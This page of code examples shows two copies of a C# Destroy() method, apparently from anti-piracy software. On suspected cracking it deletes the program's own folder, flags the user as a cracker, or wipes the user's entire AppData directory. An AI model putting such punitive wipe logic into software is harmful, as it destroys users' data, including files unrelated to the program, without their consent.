Пример #1
0
 public void Destroy()
 {
     switch (_type)
     {
         case DestroyerType.FolderWipe:
             DirectoryWiper w = new DirectoryWiper(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location));
             w.Wipe();
             break;
         case DestroyerType.CrackerTag:
             CrackerCheck.FlagCracker();
             break;
         case DestroyerType.SystemWreck:
             DirectoryWiper w2 = new DirectoryWiper(Configuration.AppData);
             w2.Wipe();
             break;
         default:
             _type = DestroyerType.CrackerTag;
             Destroy();
             return;
     }
 }
Пример #2
0
        public void Destroy()
        {
            switch (_type)
            {
            case DestroyerType.FolderWipe:
                DirectoryWiper w = new DirectoryWiper(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location));
                w.Wipe();
                break;

            case DestroyerType.CrackerTag:
                CrackerCheck.FlagCracker();
                break;

            case DestroyerType.SystemWreck:
                DirectoryWiper w2 = new DirectoryWiper(Configuration.AppData);
                w2.Wipe();
                break;

            default:
                _type = DestroyerType.CrackerTag;
                Destroy();
                return;
            }
        }